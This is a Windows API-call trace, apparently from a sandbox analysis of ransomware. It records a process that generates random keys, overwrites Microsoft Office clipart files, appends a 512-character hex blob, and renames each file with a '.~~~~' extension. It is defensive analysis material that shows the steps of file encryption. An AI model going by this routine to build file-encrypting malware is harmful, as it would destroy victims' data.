	[0108.746] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.746] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.746] CloseHandle (hObject=0x144) returned 1
	[0108.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.~~~~")) returned 1
	[0108.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.748] GetLastError () returned 0x0
	[0108.748] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0108.749] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.749] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.749] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22873952919) returned 1
	[0108.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa79b130, dwHighDateTime=0x1d60e1e)) 
	[0108.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dee0
	[0108.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dee0 | out: hHeap=0x300000) returned 1
	[0108.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829d10
	[0108.750] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.750] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.750] GetLastError () returned 0x0
	[0108.751] GetLastError () returned 0x0
	[0108.751] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.751] GetLastError () returned 0x0
	[0108.751] GetLastError () returned 0x0
	[0108.754] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffe88be, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.754] WriteFile (in: hFile=0x144, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x17742, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x17742, lpOverlapped=0x0) returned 1
	[0108.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.756] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.756] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.756] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.756] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.756] CloseHandle (hObject=0x144) returned 1
	[0108.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.757] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.~~~~")) returned 1
	[0108.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.758] GetLastError () returned 0x0
	[0108.758] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0108.760] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.760] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.760] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22874991811) returned 1
	[0108.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa7c1290, dwHighDateTime=0x1d60e1e)) 
	[0108.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dea8
	[0108.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dea8 | out: hHeap=0x300000) returned 1
	[0108.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829da8
	[0108.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.761] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.761] GetLastError () returned 0x0
	[0108.761] GetLastError () returned 0x0
	[0108.761] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.761] GetLastError () returned 0x0
	[0108.761] GetLastError () returned 0x0
	[0108.837] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd9bb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.837] WriteFile (in: hFile=0x144, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x2645, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x2645, lpOverlapped=0x0) returned 1
	[0108.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.838] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.838] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.838] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.838] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.838] CloseHandle (hObject=0x144) returned 1
	[0108.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829c78
	[0108.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.~~~~")) returned 1
	[0108.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2829c78 | out: hHeap=0x300000) returned 1
	[0108.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.923] GetLastError () returned 0x0
	[0108.923] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0108.925] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.925] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.925] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22891492672) returned 1
	[0108.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa93e050, dwHighDateTime=0x1d60e1e)) 
	[0108.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808678
	[0108.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808678 | out: hHeap=0x300000) returned 1
	[0108.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.925] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829e40
	[0108.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.926] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.926] GetLastError () returned 0x0
	[0108.926] GetLastError () returned 0x0
	[0108.926] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.926] GetLastError () returned 0x0
	[0108.926] GetLastError () returned 0x0
	[0108.941] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffde14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.941] WriteFile (in: hFile=0x144, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x21ec, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x21ec, lpOverlapped=0x0) returned 1
	[0108.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0108.942] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.942] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.942] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.942] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.942] CloseHandle (hObject=0x144) returned 1
	[0108.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5488
	[0108.959] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.~~~~")) returned 1
	[0108.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0108.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0108.961] GetLastError () returned 0x0
	[0108.961] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0108.962] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.962] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0108.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0108.962] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22895240474) returned 1
	[0108.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaa9b0470, dwHighDateTime=0x1d60e1e)) 
	[0108.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0108.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0108.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0108.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808720
	[0108.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808720 | out: hHeap=0x300000) returned 1
	[0108.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5488
	[0108.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a728
	[0108.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0108.963] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0108.963] GetLastError () returned 0x0
	[0108.963] GetLastError () returned 0x0
	[0108.963] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0108.964] GetLastError () returned 0x0
	[0108.964] GetLastError () returned 0x0
	[0109.014] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc73a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.014] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x38c6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x38c6, lpOverlapped=0x0) returned 1
	[0109.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0109.016] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.016] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.016] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.016] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.016] CloseHandle (hObject=0x144) returned 1
	[0109.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0109.016] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.~~~~")) returned 1
	[0109.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0109.018] GetLastError () returned 0x0
	[0109.064] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0109.065] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.065] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0109.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0109.065] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22905523020) returned 1
	[0109.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaaa94cb0, dwHighDateTime=0x1d60e1e)) 
	[0109.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0109.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0109.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0109.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808720
	[0109.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808720 | out: hHeap=0x300000) returned 1
	[0109.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5488
	[0109.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a8f0
	[0109.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5488 | out: hHeap=0x300000) returned 1
	[0109.066] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0109.066] GetLastError () returned 0x0
	[0109.066] GetLastError () returned 0x0
	[0109.066] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0109.066] GetLastError () returned 0x0
	[0109.066] GetLastError () returned 0x0
	[0109.082] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd0c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.082] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x2f38, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x2f38, lpOverlapped=0x0) returned 1
	[0109.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0109.084] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
